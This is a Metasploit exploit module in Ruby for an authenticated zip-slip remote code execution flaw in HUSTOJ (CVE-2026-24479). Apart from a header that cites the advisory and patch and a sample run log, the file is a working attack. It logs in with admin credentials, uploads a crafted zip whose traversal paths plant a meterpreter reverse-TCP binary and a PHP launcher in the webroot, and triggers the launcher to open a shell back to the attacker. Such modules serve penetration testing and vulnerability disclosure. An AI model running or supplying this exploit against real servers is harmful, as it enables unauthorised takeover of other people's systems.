### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework### This payload is configured for:# msfvenom -p linux/x86/meterpreter_reverse_tcp --format elf## Patch:# $file_name = $path.zip_entry_name($dir_resource);# $file_name=str_replace('../', '', $file_name);# $file_path = substr($file_name,0,strrpos($file_name, "/"));## msf exploit(local/test/hustoj_problem_import_rce) > exploit# [*] Started reverse TCP handler on 10.0.1.35:4444# [*] Running automatic check ("set AutoCheck false" to disable)# [+] The target is vulnerable.# [+] Payload generated! linux/x86/meterpreter_reverse_tcp# [*] Random payload tag 320a2# [+] Zip file generated! Files: 6# [+] Connected to the target webserver! 10.0.1.24:80# [+] Logged in successfully! admin:***********# [+] This is an admin account! res.body includes problem_import.php# [*] Uploading the payload... 552.93kb# [+] Accessed the problem import page! /admin/problem_import.php# [+] Payload uploaded! msf.zip# [*] This is where the zipslip happens... ../../../../../../ (levels: 6)# [*] Triggering the php script... msf-320a2.php# [*] Meterpreter session 2 opened (10.0.1.35:4444 -> 10.0.1.24:50096) at 2026-03-06 13:28:33 -0500# [*] Cleaning up the payload caller and shell files...# [+] Boom!! Have fun!## meterpreter >##require'msf/core'require'nokogiri'require'digest/md5'# Metasploit module for exploiting HUSTOJ problem import RCE (CVE-2026-24479)classMetasploit3<Msf::Exploit::RemoteRank=ExcellentRankingincludeMsf::Exploit::Remote::HttpClientprependMsf::Exploit::Remote::AutoCheckdefinitialize(info={})super(update_info(info,'Name'=>'Authenticated admin can upload crafted zip file for RCE','Description'=><<~DESC,
A user with administrative privileges can abuse the problem_import_qduoj.php CGI script
using a crafted zip file (zip-slip) to traverse backwards through the filesystem to the
webroot, where they can extract a PHP file containing a shell to get full RCE in the
context of the webserver.
DESC'Author'=>['Marshall Whittaker','LoTuS and friends','ling101w'],'License'=>MSF_LICENSE,'ARCH'=>[ARCH_X86],'References'=>[['URL','https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits'\'/CVE-2026-24479/hustoj_problem_import_rce.rb'],['URL','https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d423'\'6899314b33101f'],['URL','https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj'],['CVE','2026-24479'],['CWE','22']],'Platform'=>'linux','Targets'=>[['HUSTOJ < v26.01.24 (commit 89044beb4cea758a353fd133895dec76822f4ddc)',{'Privileged'=>false}]],'DefaultOptions'=>{'PAYLOAD'=>'linux/x86/meterpreter_reverse_tcp'},'Notes'=>{'Stability'=>[CRASH_SAFE],'Reliability'=>[REPEATABLE_SESSION],'SideEffects'=>[ARTIFACTS_ON_DISK,IOC_IN_LOGS]},'DisclosureDate'=>'2026-01-26','DefaultTarget'=>0))register_options([Opt::RPORT(80),Opt::LPORT(4444),OptString.new('RHOST',[true,"The target machine's IP",'']),OptString.new('LHOST',[true,"This machine's IP",'']),OptString.new('USERNAME',[true,"The HUSTOJ administrative user's username",'admin']),OptString.new('PASSWORD',[true,"The HUSTOJ administrative user's password",'']),OptString.new('DropFile',[true,'The name of the file to drop on the target (without extension)','msf']),OptInt.new('TRIGGER_WAIT',[true,'Number of seconds to wait for shell call',2]),OptInt.new('TRAVERSE_LIMIT',[true,'Number of ../ traversals to include in zip slip paths',6])],self.class)register_advanced_options([OptBool.new('HANDLER',[true,'Start an exploit/multi/handler job to receive the connection',true])])deregister_options('VHOST','Proxies','RHOSTS','SSL')end# Check if the target is likely vulnerabledefcheckres=send_request_cgi('uri'=>'/include/reinfo.js','method'=>'GET','ctype'=>'application/javascript')returnExploit::CheckCode::Unknownifres.nil?returnExploit::CheckCode::Appearsifres.code!=200returnExploit::CheckCode::Detectedifres.code==200&&res.body.include?('function escapeHtml(str) {')returnExploit::CheckCode::Vulnerableifres.code==200&&!res.body.include?('function escapeHtml(str) {')Exploit::CheckCode::Safeend# Authenticate as admin and return session cookiesdeflogin(user,pass)res=send_request_cgi({'uri'=>'/','method'=>'GET','keep_cookies'=>true,'ctype'=>'text/html'},3)ifres&&res.code==200print_good("Connected to the target webserver! #{datastore['RHOST']}:#{datastore['RPORT']}")elsefail_with(Failure::Unreachable,'Failed to connect to the target webserver!')endcook=res.get_cookiessend_request_cgi('uri'=>'/csrf.php','cookies'=>cook,'method'=>'GET','keep_cookies'=>true,'ctype'=>'text/html')send_request_cgi('uri'=>'/loginpage.php','method'=>'GET','keep_cookies'=>true,'ctype'=>'text/html')res=send_request_cgi('uri'=>'/csrf.php','cookies'=>cook,'method'=>'GET','keep_cookies'=>true,'ctype'=>'text/html')doc=Nokogiri::HTML(res.body)csrf=doc.css('input[name="csrf"]').first['value']send_request_cgi('method'=>'POST','uri'=>'/login.php','cookies'=>cook,'keep_cookies'=>true,'ctype'=>'application/x-www-form-urlencoded','vars_post'=>{'user_id'=>user,'password'=>Digest::MD5.hexdigest(pass),'csrf'=>csrf})# Check if login was successfulres=send_request_cgi('method'=>'GET','uri'=>'/modifypage.php','cookies'=>cook,'keep_cookies'=>true)ifres&&res.code==200&&res.body.include?('userinfo.php')stars='*'*pass.lengthprint_good("Logged in successfully! #{user}:#{stars}")elsefail_with(Failure::BadConfig,'Failed to authenticate! Check credentials.')end# Check if the account has admin privilegesres=send_request_cgi('method'=>'GET','uri'=>'/admin/menu2.php','cookies'=>cook,'keep_cookies'=>true)ifres&&res.code==200&&res.body.include?('problem_import.php')print_good('This is an admin account! res.body includes problem_import.php')elseprint_error('This does not appear to be an admin account! Attempting to continue,')print_error(' but the exploit may fail at the payload upload stage...')endcookend# Upload the malicious zip payload using the admin sessiondefupload_payload(zip_dat,rand_tag,cook,dds)zip_size_kb=(zip_dat.length/1024.0).round(2)print_status("Uploading the payload... #{zip_size_kb}kb")# Access the problem import page to get the postkeyres=send_request_cgi('method'=>'GET','cookies'=>cook,'uri'=>'/admin/problem_import.php','keep_cookies'=>true,'ctype'=>'text/html')ifres&&res.code==200&&res.body.include?('problem_import_qduoj.php')print_good('Accessed the problem import page! /admin/problem_import.php')elsefail_with(Failure::UnexpectedReply,'Failed to access the problem import page!')enddoc=Nokogiri::HTML(res.body)postkey_input=doc.at_css('input[name="postkey"]')postkey=postkey_input?postkey_input['value']:nilfail_with(Failure::UnexpectedReply,'Failed to retrieve the postkey!')ifpostkey.nil?||postkey.empty?form_boundary="----WebKitFormBoundary#{rand_tag}"form_data=<<~FORMDATA
--#{form_boundary}
Content-Disposition: form-data; name="fps"; filename="#{datastore['dropfile']}.zip"
Content-Type: application/zip
#{zip_dat}
--#{form_boundary}
Content-Disposition: form-data; name=postkey
#{postkey}
--#{form_boundary}--
FORMDATAres=send_request_cgi('method'=>'POST','uri'=>'/admin/problem_import_qduoj.php','cookies'=>cook,'keep_cookies'=>true,'ctype'=>"multipart/form-data; boundary=#{form_boundary}",'data'=>form_data)ifres&&res.code==200print_good("Payload uploaded! #{datastore['dropfile']}.zip")elseprint_error('Failed to upload the payload, trying again for a different revision...')form_data=<<~FORMDATA
--#{form_boundary}
Content-Disposition: form-data; name="fps"; filename="#{datastore['dropfile']}.zip"
Content-Type: application/zip
#{zip_dat}
--#{form_boundary} FORMDATAres=send_request_cgi('method'=>'POST','uri'=>'/admin/problem_import_qduoj.php','cookies'=>cook,'keep_cookies'=>true,'ctype'=>"multipart/form-data; boundary=#{form_boundary}",'data'=>form_data)ifres&&res.code==200print_good("Payload uploaded! #{datastore['dropfile']}.zip")elsefail_with(Failure::UnexpectedReply,'Failed to upload the payload!')endendprint_status("This is where the zipslip happens... #{dds} (levels: #{datastore['traverse_limit']})")end# Trigger the uploaded PHP shell to execute the payloaddeftrigger_sploit(rand_tag)print_status("Triggering the php script... #{datastore['dropfile']}-#{rand_tag}.php")send_request_raw({'uri'=>"/#{datastore['dropfile']}-#{rand_tag}.php",'ctype'=>'text/html','method'=>'GET'},datastore['TRIGGER_WAIT'])end# Clean up dropped files after exploitationdefcleanupsupersend_request_raw({'uri'=>'/cleanup-msf.php','ctype'=>'text/html','method'=>'GET'})print_status('Cleaning up the payload caller and shell files...')print_good('Boom!! Have fun!')unlessframework.sessions.length.zero?end# Main exploit logicdefexploit# Generate the payload ELF binarypay=framework.modules.create(datastore['payload'])pay.datastore['LHOST']=datastore['LHOST']pay.datastore['RHOST']=datastore['RHOST']pay.datastore['LPORT']=datastore['LPORT']shell_gend=pay.generate_simple({'Format'=>'elf'})ifshell_gend.empty?fail_with(Failure::PayloadFailed,'Payload generation failed! Try a different payload?')endprint_good("Payload generated! #{datastore['payload']}")# Generate a random tag for file uniquenessrand_tag='%05x'%rand(0xfffff+1)print_status("Random payload tag #{rand_tag}")# PHP script to call the ELF payloadshell_caller="<?php chmod('/tmp/#{datastore['dropfile']}-#{rand_tag}', 0700); system('/tmp/#{datastore['dropfile']}-#{rand_tag}'); ?>"# PHP script to clean up dropped filescleanup_caller="<?php unlink('/tmp/#{datastore['dropfile']}-#{rand_tag}'); unlink('/home/judge/src/web/#{datastore['dropfile']}"\"-#{rand_tag}.php'); unlink('/home/judge/src/web/cleanup-msf.php'); ?>"dds='../'*datastore['traverse_limit']# Directory traversal string for zipslip# Files to include in the malicious zip (zipslip paths for traversal)files=[{data: shell_gend,fname: "#{dds}tmp/#{datastore['dropfile']}-#{rand_tag}"},{data: shell_caller,fname: "#{dds}home/judge/src/web/#{datastore['dropfile']}-#{rand_tag}.php"},{data: cleanup_caller,fname: "#{dds}home/judge/src/web/cleanup-msf.php"},{data: '{}',fname: 'problem_1010.json'},{data: '',fname: 'problem_1010/1.in'},{data: '',fname: 'problem_1010/1.out'}]# Create the malicious zip archivezip_dat=Msf::Util::EXE.to_zip(files)fail_with(Failure::Unknown,'Zip generation failed!')ifzip_dat.empty?print_good("Zip file generated! Files: #{files.length}")# Authenticate and upload the payloadcookies=login(datastore['USERNAME'],datastore['PASSWORD'])upload_payload(zip_dat,rand_tag,cookies,dds)# Trigger the PHP shell to execute the payloadtrigger_sploit(rand_tag)endend